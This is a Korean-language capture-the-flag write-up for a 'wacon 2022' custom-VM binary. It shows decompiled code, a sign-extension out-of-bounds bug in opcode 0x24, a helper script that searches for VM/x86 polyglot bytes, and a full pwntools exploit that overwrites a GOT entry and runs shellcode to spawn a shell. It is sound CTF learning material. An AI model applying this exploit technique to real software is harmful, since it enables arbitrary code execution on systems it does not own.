궁금해서 친구한테 wacon 2022 바이너리를 받아서 풀어보았다.
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char *v3; // rdi
char **v4; // rbx
FILE *v5; // rax
int v6; // eax
struct _IO_FILE *v7; // rdi
__int64 v8; // rdi
unsigned __int8 v9; // al
unsigned int v10; // ebp
if ( a1 == 2 )
{
v3 = a2[1];
if ( *(_WORD *)v3 == 45 )
goto LABEL_5;
v4 = a2 + 1;
v5 = fopen(v3, "rb");
if ( v5 )
{
if ( *(_WORD *)*v4 != '-' )
{
LABEL_6:
init_(v5);
setbuf(stdin, 0LL);
v7 = stdout;
setbuf(stdout, 0LL);
((void (__fastcall *)(struct _IO_FILE *))init__)(v7);
while ( 1 )
{
v8 = *((unsigned __int16 *)&VM + 0x7E);// CUR
*((_WORD *)&VM + 0x7E) = v8 + 1;
v9 = get_byte_RWX(v8);
exec_opcode(v9);
}
}
LABEL_5:
v6 = dup(0);
v5 = fdopen(v6, "rb");
goto LABEL_6;
}
v10 = 2;
dprintf(2, "cannot open %s\n", *v4);
}
else
{
v10 = 1;
dprintf(2, "Usage: %s <machine input>\n", *a2);
}
return v10;
}
char __fastcall exec_opcode(char opcode)
{
int v1; // edi
unsigned __int16 arg_2; // ax
int v3; // edi
int v4; // edi
unsigned __int8 v5; // bl
int v6; // edi
int v7; // edi
int v8; // edi
__int16 v9; // bp
int v10; // edi
int v11; // edi
unsigned __int8 v12; // bl
int v13; // edi
int v14; // edi
unsigned __int8 byte_RWX; // bl
int v16; // edi
__int64 arg_1_; // rdx
int res; // esi
int v19; // edi
unsigned __int8 arg_1; // bl
int v21; // edi
int v22; // edi
int v23; // edi
int v24; // ebp
int v25; // edi
unsigned __int8 v26; // al
int v27; // edi
if ( opcode <= (char)0xFFFFFFDA )
{
switch ( opcode )
{
case 0x81:
v3 = cur++; // add_cur
arg_2 = *((_WORD *)&VM + get_byte_RWX(v3));
cur += arg_2;
return arg_2;
case 0x82:
case 0x83:
case 0x84:
case 0x85:
case 0x86:
case 0x87:
case 0x88:
case 0x89:
case 0x8A:
case 0x8B:
case 0x8C:
case 0x8D:
case 0x8E:
case 0x8F:
case 0x90:
case 0x92:
case 0x93:
case 0x94:
case 0x95:
case 0x96:
case 0x97:
case 0x98:
case 0x99:
case 0x9A:
case 0x9B:
case 0x9C:
case 0x9D:
case 0x9E:
case 0xA0:
case 0xA2:
case 0xA3:
case 0xA4:
case 0xA5:
case 0xA6:
case 0xA7:
case 0xA8:
case 0xA9:
goto EXIT_FAIL;
case 0x91:
v14 = cur++; // shift
byte_RWX = get_byte_RWX(v14);
v16 = cur++;
LOBYTE(arg_2) = get_byte_RWX(v16);
arg_1_ = byte_RWX;
res = *((unsigned __int16 *)&VM + byte_RWX) << arg_2;
goto LABEL_19;
case 0x9F:
LOBYTE(arg_2) = putc((unsigned __int16)VM, stdout);// putc
return arg_2;
case 0xA1:
v19 = cur++; // shift
arg_1 = get_byte_RWX(v19);
v21 = cur++;
LOBYTE(arg_2) = get_byte_RWX(v21);
arg_1_ = arg_1;
res = *((unsigned __int16 *)&VM + arg_1) >> arg_2;
LABEL_19:
*((_WORD *)&VM + arg_1_) = res;
return arg_2;
case 0xAA:
v22 = cur++; // SAVE CUR
LOBYTE(arg_2) = get_byte_RWX(v22);
*((_WORD *)&VM + (unsigned __int8)arg_2) = cur;
return arg_2;
default:
if ( opcode == (char)0xD3 )
exit(0);
goto EXIT_FAIL;
}
}
switch ( opcode )
{
case 3:
v1 = cur++; // JZ?
LOBYTE(arg_2) = get_byte_RWX(v1);
if ( !FLAG )
goto LABEL_12;
return arg_2;
case 4:
case 5:
case 7:
case 8:
case 9:
case 0xA:
case 0xB:
case 0xC:
case 0xE:
case 0xF:
case 0x10:
case 0x11:
case 0x12:
case 0x13:
case 0x14:
case 0x15:
case 0x16:
case 0x17:
case 0x18:
case 0x19:
case 0x1A:
case 0x1B:
case 0x1C:
case 0x1D:
case 0x1E:
case 0x1F:
case 0x20:
case 0x21:
case 0x22:
case 0x23:
goto EXIT_FAIL;
case 6: // JNE
v7 = cur++;
LOBYTE(arg_2) = get_byte_RWX(v7);
if ( FLAG )
{
LABEL_12:
arg_2 = *((_WORD *)&VM + (unsigned __int8)arg_2);
cur = arg_2;
}
return arg_2;
case 0xD:
v8 = cur++; // CMP(EQ NEQ)
v9 = *((_WORD *)&VM + get_byte_RWX(v8));
v10 = cur++;
LOBYTE(arg_2) = get_byte_RWX(v10);
FLAG = v9 == *((_WORD *)&VM + (unsigned __int8)arg_2);
return arg_2;
case 0x24:
v11 = cur++;
v12 = get_byte_RWX(v11);
v13 = cur++;
LOBYTE(arg_2) = get_byte_RWX(v13);
*((_WORD *)&VM + (char)v12) = ~(*((_WORD *)&VM + (char)arg_2) & *((_WORD *)&VM + (char)v12));
return arg_2;
default:
if ( opcode == (char)0xDB ) // mem[idx] = mem[16bit(arg1,arg2)]
{
v23 = cur++;
v24 = get_byte_RWX(v23) << 8;
v25 = cur++;
v26 = get_byte_RWX(v25);
LOWORD(v24) = get_byte_RWX(v24 | v26);
v27 = cur++;
LOBYTE(arg_2) = get_byte_RWX(v27);
*((_WORD *)&VM + (unsigned __int8)arg_2) = v24;
}
else
{
if ( opcode != 0x73 )
EXIT_FAIL:
PRINT_FAIL();
v4 = cur++;
v5 = get_byte_RWX(v4);
v6 = cur++;
LOBYTE(arg_2) = get_byte_RWX(v6);
if ( !FLAG )
{
arg_2 = (v5 << 8) | (unsigned __int8)arg_2;
cur = arg_2;
}
}
return arg_2;
}
}
일반적인 VM이랑은 약간 다르다.
비트 연산이 조금 구현되어있는게 끝이다.
case 0x24:
v11 = cur++;
v12 = get_byte_RWX(v11);
v13 = cur++;
LOBYTE(arg_2) = get_byte_RWX(v13);
*((_WORD *)&VM + (char)v12) = ~(*((_WORD *)&VM + (char)arg_2) & *((_WORD *)&VM + (char)v12));
return arg_2;
.text:0000000000001508 movsx rax, al ; Move with Sign-Extend
.text:000000000000150C movsx rcx, bl ; Move with Sign-Extend
.text:0000000000001510 movzx edx, word ptr [r14+rcx*2] ; Move with Zero-Extend
.text:0000000000001515 and dx, [r14+rax*2] ; Logical AND
.text:000000000000151A not edx ; One's Complement Negation
.text:000000000000151C mov [r14+rcx*2], dx
다른 opcode들은 죄다 처리할때 movzx를 통해서 늘릴때 sign bit를 날리는데, 여기서만 movsx이다.
그래서 OOB를 내서 got overwrite 해주면 된다.
마침 partial relro다.
0x0이랑 and하고 not해서 0xffffffffffffffff를 만들어주고 got 0x0으로 지워준다.
그리고 mmap rwx로 매핑되어있는 메모리 주소를 not한 주소를 저장하고, got에 덮을때 한번 더 not을 해서 원래 값으로 복원해주면 된다.
exit 할때 mmap으로 매핑된 메모리 처음 주소로 점프한다.
이때 vm opcode랑 겹치니까 opcode랑 겹치면서 x86이랑도 겹치게 만들어줬다.
그냥 got 덮을때 뒤에 2바이트씩 조정해줘도 상관없긴한데 귀찮아진다.
from capstone import *
from tqdm import tqdm
import itertools
import struct
vm_opcodes_args = [[0x81,1],[0x91,2],[0x9F,0],[0xA1,2],[0xAA,1],[0x3,1],[0x6,1],[0xD,2],[0x24,2],[0xd8,2],[0x73,2]]
#vm_opcodes_args = [[0x91,2]]
cs = Cs(CS_ARCH_X86, CS_MODE_64)
OPS = []
for oa in vm_opcodes_args:
a = [i for i in range(0x100)]
a *= oa[1]
op = oa[0].to_bytes(1,byteorder='little')
for tp in tqdm(itertools.permutations(a,oa[1])):
code = op + bytes(tp)
for k in cs.disasm(code,0x0):
flag = 1
for i in OPS:
if i[0] == k.mnemonic:
flag = 0
if flag:
OPS.append([k.mnemonic,oa[1],oa[0]])
def print_candi(OPS):
print("--- Candidates ---")
for i in OPS:
print(i[0])
if __name__ == "__main__":
print_candi(OPS)
while True:
print("\n> ",end='')
opcode = input()
if opcode == 'exit':
exit()
elif opcode == 'candidates':
print_candi(OPS)
continue
elif opcode.startswith('['):
for k in cs.disasm(bytes(eval(opcode)),0x0):
print("%d | %s %s"%(k.address, k.mnemonic,k.op_str))
continue
flag = 0
for i,j in enumerate(OPS):
if j[0] == opcode:
flag=1
idx=i
break
if flag:
a = [i for i in range(0x100)]
a *= OPS[idx][1]
op = OPS[idx][2].to_bytes(1,byteorder='little')
for i in itertools.permutations(a,OPS[idx][1]):
code = op + bytes(i)
for k in cs.disasm(code,0x0):
if k.mnemonic == opcode:
print("%s %s"%(k.mnemonic,k.op_str),end='')
arr = [x for x in code]
print(' // '+str(arr))
else:
print("Not found")
opcode랑 argument 개수 넣어주고, 뽑아주면 된다.
root@ed1ff428eb33 ~/Desktop/CTF/wacon_VM
❯ python3 vmops2x86.py
256it [00:00, 124506.24it/s]
261632it [00:31, 8273.33it/s]
1it [00:00, 7319.90it/s]
261632it [00:00, 384716.08it/s]
256it [00:00, 7445.63it/s]
256it [00:00, 20044.84it/s]
256it [00:00, 336913.03it/s]
261632it [00:00, 385433.06it/s]
261632it [00:34, 7605.85it/s]
261632it [00:21, 11922.89it/s]
261632it [00:34, 7580.34it/s]
--- Candidates ---
xchg
add
or
syscall
clts
sysret
invd
wbinvd
ud2
femms
wrmsr
rdtsc
rdmsr
rdpmc
sysenter
sysexit
getsec
emms
push
pop
cpuid
rsm
ud2b
bswap
ud0
adc
sbb
and
insb
insd
outsb
outsd
nop
cwde
cdq
wait
pushfq
popfq
sahf
lahf
movsb
movsd
cmpsb
cmpsd
stosb
stosd
lodsb
lodsd
scasb
scasd
ret
leave
retf
int3
iretd
xlatb
in
out
int1
hlt
cmc
clc
stc
cli
sti
cld
std
sub
xor
cmp
cdqe
cqo
movsq
cmpsq
stosq
lodsq
scasq
retfq
iretq
movsxd
insw
outsw
cbw
cwd
pushf
popf
movsw
cmpsw
stosw
lodsw
scasw
iret
jo
jno
jb
jae
je
jne
jbe
ja
js
jns
jp
jnp
jl
jge
jle
jg
test
mov
lea
int
rol
ror
rcl
rcr
shl
shr
sal
sar
fadd
fmul
fcom
fcomp
fsub
fsubr
fdiv
fdivr
fld
fst
fstp
fldenv
fldcw
fnstenv
fnstcw
fxch
fnop
fstpnce
fchs
fabs
ftst
fxam
fld1
fldl2t
fldl2e
fldpi
fldlg2
fldln2
fldz
f2xm1
fyl2x
fptan
fpatan
fxtract
fprem1
fdecstp
fincstp
fprem
fyl2xp1
fsqrt
fsincos
frndint
fscale
fsin
fcos
fiadd
fimul
ficom
ficomp
fisub
fisubr
fidiv
fidivr
fcmovb
fcmove
fcmovbe
fcmovu
fucompp
fild
fisttp
fist
fistp
fcmovnb
fcmovne
fcmovnbe
fcmovnu
feni8087_nop
fdisi8087_nop
fnclex
fninit
fsetpm
fucomi
fcomi
frstor
fnsave
fnstsw
ffree
fucom
fucomp
faddp
fmulp
fcompp
fsubrp
fsubp
fdivrp
fdivp
fbld
fbstp
ffreep
fucomip
fcomip
loopne
loope
loop
jrcxz
jmp
repne insb
repne insd
repne outsb
repne outsd
repne movsb
repne cmpsb
repne cmpsd
repne stosb
repne stosd
repne lodsb
repne lodsd
repne scasb
repne scasd
bnd ret
bnd retf
rep insb
rep insd
rep outsb
rep outsd
pause
rep movsb
rep movsd
repe cmpsb
repe cmpsd
rep stosb
rep stosd
rep lodsb
rep lodsd
repe scasb
repe scasd
not
neg
mul
imul
div
idiv
inc
dec
call
lcall
ljmp
>
jmp를 골랐다.
> jmp
jmp 3 // [145, 235, 0]
jmp 4 // [145, 235, 1]
jmp 5 // [145, 235, 2]
jmp 6 // [145, 235, 3]
jmp 7 // [145, 235, 4]
jmp 8 // [145, 235, 5]
jmp 9 // [145, 235, 6]
jmp 0xa // [145, 235, 7]
jmp 0xb // [145, 235, 8]
jmp 0xc // [145, 235, 9]
jmp 0xd // [145, 235, 10]
jmp 0xe // [145, 235, 11]
jmp 0xf // [145, 235, 12]
jmp 0x10 // [145, 235, 13]
jmp 0x11 // [145, 235, 14]
jmp 0x12 // [145, 235, 15]
jmp 0x13 // [145, 235, 16]
jmp 0x14 // [145, 235, 17]
jmp 0x15 // [145, 235, 18]
jmp 0x16 // [145, 235, 19]
jmp 0x17 // [145, 235, 20]
jmp 0x18 // [145, 235, 21]
jmp 0x19 // [145, 235, 22]
jmp 0x1a // [145, 235, 23]
jmp 0x1b // [145, 235, 24]
jmp 0x1c // [145, 235, 25]
jmp 0x1d // [145, 235, 26]
jmp 0x1e // [145, 235, 27]
jmp 0x1f // [145, 235, 28]
jmp 0x20 // [145, 235, 29]
jmp 0x21 // [145, 235, 30]
jmp 0x22 // [145, 235, 31]
jmp 0x23 // [145, 235, 32]
jmp 0x24 // [145, 235, 33]
jmp 0x25 // [145, 235, 34]
jmp 0x26 // [145, 235, 35]
jmp 0x27 // [145, 235, 36]
jmp 0x28 // [145, 235, 37]
jmp 0x29 // [145, 235, 38]
jmp 0x2a // [145, 235, 39]
jmp 0x2b // [145, 235, 40]
jmp 0x2c // [145, 235, 41]
jmp 0x2d // [145, 235, 42]
jmp 0x2e // [145, 235, 43]
jmp 0x2f // [145, 235, 44]
jmp 0x30 // [145, 235, 45]
jmp 0x31 // [145, 235, 46]
jmp 0x32 // [145, 235, 47]
jmp 0x33 // [145, 235, 48]
jmp 0x34 // [145, 235, 49]
jmp 0x35 // [145, 235, 50]
jmp 0x36 // [145, 235, 51]
jmp 0x37 // [145, 235, 52]
jmp 0x38 // [145, 235, 53]
jmp 0x39 // [145, 235, 54]
jmp 0x3a // [145, 235, 55]
jmp 0x3b // [145, 235, 56]
jmp 0x3c // [145, 235, 57]
jmp 0x3d // [145, 235, 58]
jmp 0x3e // [145, 235, 59]
jmp 0x3f // [145, 235, 60]
jmp 0x40 // [145, 235, 61]
jmp 0x41 // [145, 235, 62]
jmp 0x42 // [145, 235, 63]
jmp 0x43 // [145, 235, 64]
jmp 0x44 // [145, 235, 65]
적당하게 0x40 정도를 골랐다.
> [145, 235, 61]
0 | xchg eax, ecx
1 | jmp 0x40
from pwn import *
sl = lambda x: p.sendline(x)
p = process(["./vm","-"])
context.binary = './vm'
def go(offset,arg) -> bytes:
return b'\x24'+p8((offset>>1)&0xff) + p8(arg>>1&0xff)
def go_8(offset,arg) -> bytes:
ret = b''
for i in range(4):
ret += go(offset+2*i,arg+2*i)
return ret
const_00 = 0x0
const_off_exit = -0x30
const_off_rwx = -0x8
const_buf = 0x30
# jmp 0x40 // [145, 235, 61]
shellcode = bytes([145, 235, 61])
shellcode += go_8(const_buf,const_00)
shellcode += go_8(const_off_exit,const_00)
shellcode += go_8(const_buf,const_off_rwx)
shellcode += go_8(const_off_exit, const_buf)
shellcode += b'\x00'*(0x40-len(shellcode))
shellcode += asm(shellcraft.sh())
print(hex(len(shellcode)))
shellcode += b'\x00'*(0x10000-len(shellcode))
pause()
sl(shellcode)
p.interactive()
# scenario
# buf = ~(mem[]0xffffffffffffffff & buf)
# got = ~(mem[]0x0 &got)
# buf = ~(RWX & buf)
# got = ~(buf & got)